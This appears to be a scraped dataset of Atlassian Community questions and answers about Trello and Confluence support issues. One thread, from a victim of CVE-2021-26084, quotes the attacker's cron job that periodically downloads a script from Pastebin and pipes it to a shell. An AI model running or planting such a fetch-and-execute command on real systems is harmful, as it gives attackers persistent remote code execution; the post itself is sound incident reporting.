youngmon/atlassian-qna huggingface dataset:
How do I sync cards to move to a list of the same name in two different boards?
Asked by Tim Goom:

I've recently synced two boards via the Unito power up to allow comments to be mirrored on the both boards. However, I'm struggling to figure out how I can have the cards moving between lists synchronised. I've called the lists the same name as recommended but this still doesn't seem to be working.


Answers:
author: Garrett
body: Hey Tim,

It might be worth reaching out to Unito's support team, since they develop that integration directly. I'm sure they'd be more than happy to help you get those card syncs working!

<https://unito.io/contact/>

Hope this helps point you in the right direction!
Using butler with Zapier
Asked by shaharrubinho:

Hi,

I want to sync comments I made on Trello Card with the relevant contact on hubspot.  
For this case, I will need to send request to zapier listener, is it possible with butler?


Answers:
author: Iain Dooley
body: [@shaharrubinho](/t5/user/viewprofilepage/user-id/3623933) the best way to do this is to use Butler to send an email to a Zapier email parser address. You can structure your email text consistently then use the email parser to split the information out into fields.
Not receiving email while resetting the password
Asked by Antoni Gnanaraj:

Hi ,

My user name : antoni.g@elpisitsolutions.com

I have forgotten my trello password.When i try to reset the password, i am not receiving any mail.

Please help me on this.

Thanks  
Antoni


Answers:
author: Antoni Gnanaraj
body: Support team,

Gentle reminder ..

Please let me know if you need any more details from me .

Thanks

Antoni

comments: author: Blair at Atlassian
body: Hi Antoni,  

Thanks for posting in Community. If you ever need direct help with your personal account, please reach out to our support team directly at [https://trello.com/contact](https://trello.com/en-US/contact)

Community is a great way to get insights from other Trello users, but when you need help with login, the contact form will get your message in our support queue.

I checked our mail logs and it looks like when we sent the first email to that email address from Trello, it was rejected by the mail server with a "Bad Mailbox" message. The mail server was telling our mail server that that email address didn't exist. When this happens, our email server blacklists the email address temporarily so that Trello's emails aren't inadvertently treated as SPAM.  

I've made sure that the email address is no longer on the blacklist, so future emails from Trello to that mailbox should be successful.

Hope this helps! Cheers :)


author: Antoni Gnanaraj
body: Hi Blair,

Thank you very much for your support on this.

It works fine now

Regards

Antoni
Special pricing for students
Asked by Noah Gillard:

Is there any opportunity to have some kind of special pricing for students? Figma also does this and it gives students a free PRO license after a verification. We are using Trello a lot but we can't do enough with the free version. Any help?


Answers:
author: Esme Crutchley
body: Hi there,

Trello offers an education discount (I have it). Details can be found here <https://help.trello.com/article/1133-educational-discount>

Esme :)

comments: author: Dallin
body: Hi Esme, do you mind sharing how much the discount is? i'm trying to get free trello premium for a couple months for a school project. (i applied at the link you posted, but i'm wondering what they'll offer)


Tags: cost
Statistics of spent hours by type of work
Asked by Andrey Konoshenko:

Dear Community,

**I would like to receive the Power-Up advice...**

I just strarted using Trello and already purchased Gold and Business Class in order to get the most from this wonderful platform.

I created the dashboard based on Productivity template and grouped my cards into the following lists: 1) Priority for Today; 2) Weekly Priorities; 3) Monthly Priorities; 4) In Progress; 5) Done; 6) Blocked.   

Now I want to continue grouping the cards within created lists (for example within the list of "Priorities for Today" I want to create sub-lists a) work suppliers; b) work with clients; c) work with management team; etc.) and then in the end of the month (for example) to be able to trace how many hours I spent on a), b), c) and etc.   

Which power-up would you suggest to deal with this task? Many thanks....

Best regards,

Anatolii.


Answers:
author: Iain Dooley
body: [@Andrey Konoshenko](/t5/user/viewprofilepage/user-id/3623596) the best Time Tracking integration I've seen is actually TimeDoctor which integrates behind the scenes rather than with a power up. It has a great mobile app (desktop app is terrible! or at least it was last time I used it ... ) but it allows you to track time against individual trello cards that you've been added to, and the mobile interface has a simple stop/start mechanism.


Tags: sub-task

time-tracking
Are there any Trello "consultants" in Australia?
Asked by kphillips:

I'm time poor. Looking for someone who can fastrack my Trello knowledge, help set up boards and get the most out of powerups...etc


Answers:
author: Iain Dooley
body: [@kphillips](/t5/user/viewprofilepage/user-id/3623434) hi there, I'm an Australian Trello consultant :)

You can see a bit about my business and links to my various products here:

<http://www.theprocedurepeople.com/>

Call or TXT 0424 261 976 or email iain@benkoboard.com thanks!

PS: [@Emilie Cyr](/t5/user/viewprofilepage/user-id/3273133) looks like the Trello category was finally added to the partner directory! When I tried to submit earlier this year I couldn't get in!


author: Emilie Cyr
body: Hello,

you can find a list of consultants listed by city here: <https://partnerdirectory.atlassian.com/>

You just have to choose Trello in the Products section, consulting in services and put your location.

Hope this helps!

Emilie

comments: author: kphillips
body: Fantastic. Thanks Emilee!
Sql Database problems
Asked by SNN:

Hello,

We have done a migration to a sql database but the java.exe of the new setup takes a lot of cpu, the whole server takes 100% every 15 seconds.

We see al the pages of the imported H2 database but when we want to make a new page we cant publish it ==\> cannot reach server

What have we done wrong?

Grt,

Fabian


Answers:
author: Nic Brough -Adaptavist-
body: What type of database is it? (All four supported databases are SQL databases, we probably need to know which type). Also how did you do the "migration"?

However, neither of those might be relevant. I think "cannot reach server" may actually be an error on the front end. Could you give us the full text of the error and where it happens? (A screenshot would be good here, but we don't need to see any of your content, just the full error)


Tags: confluence-server

server
After running the mitigation script for CVE-2021-26084 all my Comment boxes disappeared
Asked by Edwin Mudaliar:

We were unable to fully patch so we decided to run the mitigation script. It seemed to have the effect of disabling the comments box at the bottom of each page. Is this normal? Are there any other consequences to running this script? There were no indications that this would happen.


Answers:
author: Kishan Sharma
body: Hi [@Edwin Mudaliar](/t5/user/viewprofilepage/user-id/1087809)

This should not happen as the mitigation script is simply updating few files on the server and doesn't touch any other configuration files. The problem could be something else, for example you can check if the comments permissions are granted on the space.


Tags: confluence-server

cve-2021-26084

server
Table of contents link not working
Asked by Lauren Hall:

I am trying to add a Table of Contents macro to my confluence page, and it renders in the preview, but when I click "insert" nothing happens on the page.


Answers:
author: Nic Brough -Adaptavist-
body: Could you tell us a little more about "when I click insert nothing happens"? Do you mean nothing renders where the macro is supposed to be when you visit the page after saving it? Or you click "insert" and nothing happens at all, the macro definition box stays open and you can't get back to editing? Or something in between?


Tags: cloud

confluence-cloud
space migration error - error code 1070
Asked by Denise Recheis:

Hi,

I am encountering an error when I attempt to migrate a particular space to our organization's new confluence cloud account. I have successfully migrated many spaces already, but when I try to migrate this particular space I get the following message in the migration assistant, and I am unable to resolve it and continue.

![pic error.png](/t5/image/serverpage/image-id/160203i0DCDE6D7E02014AA/image-size/large?v=v2&px=999 "pic error.png")

I have attempted to read up on the issue but so far unsuccessfully. When I check the logs, I see the following error:

```
2021-09-14 14:22:33,596 ERROR [Caesium-1-3] [service.check.space.SpaceConflictChecker] error Error executing space keys conflict check.

-- checkExecutionId: d6c9c8b89541590ae240bb3d5a546dec522626f2

com.atlassian.migration.agent.okhttp.HttpServiceException: Bad request. Status code: 400, message: {"code":1070,"message":"You are not permitted to use Confluence Cloud. You can re-link your site and try again."}
```

However, when I go back through the migration assistant it seems like the sites are still linked.

Can anyone please help resolve this?

Thanks!


Answers:
author: Nic Brough -Adaptavist-
body: I had this one a few weeks back, it turned out to be because my (LDAP via Atlassian Access) account could not see the space in the target project that needed to be checked for duplicate keys (there was a duplicate there)

Once I was added to the space in the target, I was able to re-run the assistant and have it tell me there was a duplicate.

comments: author: Denise Recheis
body: thanks, this has helped :)


Tags: cloud

confluence-cloud
Search Confluence Dialog Boxes and Return Title
Asked by Tash Solangi:

So my boss has an interesting request. We have a department page that lists all our team members with a dialog box for each with their responsibilities. That way we can see what everyone is working on, but she came to me and asked if someone has a type of work how would they know who to ask. Besides going to each person, is there another way to do this?

BL: search a confluence page for keywords, which are all within dialog boxes, and return the dialog title.

I'm also ok to accomplish this any other way. search a table and return the field with the name, kind of thing. Thank you!


Answers:
author: Alex Koxaras _Relational_
body: Hi [@Tash Solangi](/t5/user/viewprofilepage/user-id/4056389)

I'd like to help, but I don't quite understand what you are trying to achieve. If your question is ***search a confluence page for keywords, which are all within dialog boxes, and return the dialog title.*** then the answer is that you can't achieve that with out of the box functionalities. You might have to search in the [marketplace](https://marketplace.atlassian.com/search?hosting=cloud&product=confluence) for an app.


Tags: cloud

confluence-cloud
Confluence WIKI no longer updating user activity
Asked by kdickason:

Up until 2 weeks ago, using Confluence WIKI, when a User added or modified content, they could see a log of the changes they made under their Profile option (at the upper right under the user icon) or under All Updates on the WIKI dashboard. The log of this user activity has stopped. The Space Activity is still being updated (under Space Tools-\>Activity). Can someone advise why a user's activity is no longer being shown under their Profile option?


Answers:
author: Fabienne Gerhard
body: Hi [@kdickason](/t5/user/viewprofilepage/user-id/4418096)

do you mean the point 'Recently worked on' is missing in the menu under Profile?

Which version are you using? Are you using any kind of themes of plugins to configure your appearance?

comments: author: kdickason
body: Version 5.6.6 (very old, I know). In this version, under the User icon at the upper right, when I select Profile, I have the option: Recently Viewed--which is working, but I do not have the option Recently Worked On. If I select the option Profile, I get a screen that shows Activity. Usually I see the things I've recently changed, but this list is not being updated any longer. In the attached example, I set up an account and made several changes to pages but this is not being recorded--see screen cap:

![no_activity.png](https://community.atlassian.com/t5/image/serverpage/image-id/160423i50D6839958F5DFF9/image-size/large?v=v2&px=999 "no_activity.png")


author: Fabienne Gerhard
body: Hi [@kdickason](/t5/user/viewprofilepage/user-id/4418096)

hmm this is a really interesting behaviour as you mentioned it just disappeared

I found several reasons for the blank output for example the [usage of IE](https://jira.atlassian.com/browse/CONFSERVER-41445)  
I would first of all [clear the cache of plugins](https://confluence.atlassian.com/confkb/how-to-clear-confluence-plugins-cache-297664846.html) to get it back in sync.

Anyway that does not explain the disappearance of the button in your profile. Did you talk to your admin colleagues? Did they do any changes or an update - any new plugins installed?


author: kdickason
body: Thank you so much for your help!!! This is getting even weirder, though, because now the Activity seems to be working again. We definitely aren't using IE, but I will clear the cache for good measure. Thank you again.


author: kdickason
body: We are seeing activity with what appears to be several hours delay...


author: Fabienne Gerhard
body: Hi [@kdickason](/t5/user/viewprofilepage/user-id/4418096)

that is really weird - any updates about settings that were made or updates?

Please keep me updated what happened after cache clear because I found this super interesting ?


author: kdickason
body: It just started updating on it's own... looks like the delay is gone. I have no other details, we didn't change anything. Sorry I can't be of more help!


Tags: confluence-server

server
Jira & Confluence Application links not working
Asked by Mahesh Kallepalli:

Hello Team,

Applications links is not working after upgrade. As it showing status unavailable trying to configure and not able to save configurations.

Please find the error screenshots for reference.

![Inkedcon app link_LI.jpg](https://community.atlassian.com/t5/image/serverpage/image-id/160207i2B8FB257E0D66522/image-size/large?v=v2&px=999 "Inkedcon app link_LI.jpg")![InkedJira app link_LI.jpg](https://community.atlassian.com/t5/image/serverpage/image-id/160208i3DCFC6357E54606C/image-size/large?v=v2&px=999 "InkedJira app link_LI.jpg")


Answers:
author: Nic Brough -Adaptavist-
body: It looks like there could be two problems here, but start with the more important one

You've got an error that "Jira is not reachable". This is a bit of a "microsoft answer" - it's technically accurate, but doesn't tell you anything of any use in fixing it.

You will need to hop on to the server and try to establish why the Confluence service cannot reach Jira. Can it resolve the name, ping it, connect to it on the right port and so-on.


Tags: application-link

confluence-server

jira-server

reverse-proxy

server

ssl
Possible impacts from CVE-2021-26084?
Asked by Ralf Manuel Morawe:

Hello everyone,

we are self-hosting Confluence Server for our few users and were noticing a crash of our instance last Friday (2021-09-10). Yesterday (2021-09-13) we discovered some suspicious processes on our server seemingly started by the confluence user that were taking up 100% CPU on our server, leading to both our Confluence and our Jira crash again.

Based on our research until now and some Q/A that we read here, we are assuming that we were very likely hit by [CVE-2021-26084](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-26084) (<https://confluence.atlassian.com/doc/confluence-security-advisory-2021-08-25-1077906215.html> ) and someone managed to inject malicious processes on our server. We immediately killed all processes by the confluence user (including confluence itself) and found a Cron-Job for the confluence user, pulling down something from Pastebin and executing the code:

```
*/5 * * * * curl -fsSL https://pastebin.com/raw/<REDACTED> | sh
```

Next to that, we found suspicious files/folders in the /tmp-directory which were used by the processes:

```
/tmp/.solr
/tmp/.kkli
/tmp/conf.n
```

Our checks for malicious activities or files are still ongoing. Obviously we are trying to take all necessary measurements and find out whether and how much data from our Confluence itself was accessed.

Using the exploit named in the linked CVEs, is it possible that the attacker had access to actual content from our Confluence? Since the malicious processes were running under the confluence user, it would theoretically be possible that the attacker could read the database configuration and access the data, no? We couldn't really find information about that in the linked articles so far.

Thank you in advance for your help!


Answers:
author: Robert Wen_ReleaseTEAM_
body: We talked about the original exploit in this thread: [https://community.atlassian.com/t5/Confluence-questions/No-access-to-Conlfuence-Webpage-100-CPU-usage-from-quot-dbused/qaq-p/1793393?utm_source=atlcomm\&utm_medium=email\&utm_campaign=immediate_general_answer\&utm_content=topic](https://community.atlassian.com/t5/Confluence-questions/No-access-to-Conlfuence-Webpage-100-CPU-usage-from-quot-dbused/qaq-p/1793393?utm_source=atlcomm&utm_medium=email&utm_campaign=immediate_general_answer&utm_content=topic)

In it, one of the Community members gave some details about the original malware. It was a cryptocurrency miner. <https://tolisec.com/multi-vector-minertsunami-botnet-with-ssh-lateral-movement/>

It's theoretically possible that data was accessed, but so far, these seem to be the adverse effects


Tags: confluence-server

cve-2021-26084

security

server
I want to export the list of all the users present in confluence . Can you help with it?
Asked by ayush bihure:

I want to export the list of all the users present in confluence . Can you help with it?

Confluence Version7.4.3  
Build Number8401


Answers:
author: Velizar Borisov
body: Hi Ayush,

I don't think that's still possible in Confluence Server/DC. You can try using an app from the marketplace like [this one](https://marketplace.atlassian.com/apps/126/bulk-user-upload-management-utility?hosting=server&tab=overview) or run a query against your database.

Hope that helps!

comments: author: Kishan Sharma
body: Hi Ayush, as Velizar mentioned, running a query on the database will get you the users list in your confluence server.


Tags: confluence-server

server

user
Confluence Attachment Extract
Asked by Harrison Wakeman:

Hi,

I'm just wondering if it is possible to extract a list of attachments along with which project space they belong to from Confluence. I understand it was possible in previous versions when a mysql or sql db was being used but know that it is depreciated is there another way ?

Thanks,

Harrison


Answers:
author: Harrison Wakeman
body: In case it helps anyone else out, here is the SQL

```
select contentid, c.title, c.version, c.spaceid, s.spacename, s.spacekey from content c join spaces s on c.spaceid = s.spaceid where contenttype = 'ATTACHMENT' ;
```


Tags: questions-for-confluence

server
BPMN Modeler Enterprise partial broken links to other Models.
Asked by Alexander Oeser:

Hello,

we have a Problem after *updating from Confluence 7.4.8 to 7.4.11* with the BPMN Modeler Enterprise plugin. Within some models, all activities linked to other processes/models, have *broken links* to the referenced Models. The naming is still correct but when selected, the preview shows an *empty Model* (s. Screenshot).

Is there a way to fix these, whitout a manual reimport of the model links?

Thanks.

![14-09-_2021_09-01-21.png](/t5/image/serverpage/image-id/160168iA8B7F6C31B9CBE4F/image-size/large?v=v2&px=999 "14-09-_2021_09-01-21.png")


Answers:
author: Brant Schroeder
body: [@Alexander Oeser](/t5/user/viewprofilepage/user-id/4232608) I would suggest submitting a support issue to the app vendor. [https://marketplace.atlassian.com/apps/1219284/bpmn-modeler-enterprise?tab=support\&hosting=cloud](https://marketplace.atlassian.com/apps/1219284/bpmn-modeler-enterprise?tab=support&hosting=cloud)

looking at the documentation I was not able to find anything so reimporting might be the only solution.


Tags: app

confluence-server

diagram

link

server
Not able to install the Atlassian Confluence service after upgrade our Confluence JSD UAT app.
Asked by ss:

Hi Team,

Not able to install the Atlassian Confluence service after upgrade our Confluence JSD UAT application.

We are upgrading our Confluence JSD to the latest version v7.13.0

We are following the below upgrade steps:

<https://confluence.atlassian.com/conf710/upgrading-confluence-1031841251.html>

### *8. Reinstall the service if required (Windows only)* {#toc-hId-1282073990}

*If you run Confluence as a service on Windows you should delete the existing service then re-install the service by running `<install-directory>/bin/service.bat`.*

*This makes sure the service gets the most recent JVM options.*

As per step 8, we have deleted the Confluence service by using below command "SC DELETE Confluence130619020845"

Our service name was Confluence130619020845.

Then when we are trying to reinstall the service by running the *`<install-directory>/bin/service.bat. `* `It's not working and the service has not been installed yet. `

`Could you please check and let us know how we can re install the Confluence service.`

`Thanks,`

`Sudip Samanta`


Answers:
author: Kishan Sharma
body: Hi [@ss](/t5/user/viewprofilepage/user-id/1910665) Please check if [this article](https://confluence.atlassian.com/confkb/unable-to-configure-confluence-to-run-as-a-service-on-tomcat-5-127795261.html) helps.


Tags: confluence-server

server
Export to word randomly fails with message "We'll be back in a flash"
Asked by Carolina SILVA:

Hello

When I try to export to word some confluence pages, some exports works well, and others fails with below error:

"We'll be back in a flash  
We've encountered a small problem, but we should have it sorted out soon."  
Do you know why?


Answers:
author: Ang?lica Luz
body: Hello [@Carolina SILVA](/t5/user/viewprofilepage/user-id/3699298),

Thank you for reaching out to Atlassian Community!

The issue that you are facing is related to a known bug. For more information, please check the ticket below:

* [Export to word fails when the page contains tables](https://jira.atlassian.com/browse/CONFCLOUD-72745)

Please, click on "This affects my team" and also watch so that you are notified when the bug is fixed.

Kind regards,  
Ang?lica

comments: author: QARA_Niramai
body: This issue still persists, it is affecting my team's efficiency - kindly resolve it asap.


Tags: cloud

confluence-cloud
Tomcat config is incorrect
Asked by Trinh X_ Nguyen:

After we upgraded our confluence server wew have been getting these error messages:  

**Tomcat config is incorrect**

The Tomcat server.xml has an incorrect configuration:

**scheme** should be 'https'  
**proxyName** should be 'wiki.1234.no'  
**proxyPort** should be '443'

Not sure how to fix this. any help would be greatly appreciated.


Answers:
author: Kishan Sharma
body: Hi [@Trinh X_ Nguyen](/t5/user/viewprofilepage/user-id/2784997) this question has been discussed a lot of times in the community. Please refer comments in below articles to see if any of the answers help.

Article [1](https://community.atlassian.com/t5/Confluence-questions/Tomcat-config-is-incorrect/qaq-p/1179863), [2](https://community.atlassian.com/t5/Confluence-questions/Tomcat-config-is-incorrect/qaq-p/1466646), [3](https://community.atlassian.com/t5/Confluence-questions/Tomcat-config-is-incorrect-error/qaq-p/1475405), [4](https://community.atlassian.com/t5/Confluence-questions/Prompt-the-quot-Tomcat-config-is-incorrect-quot/qaq-p/1410228)


Tags: confluence-server

server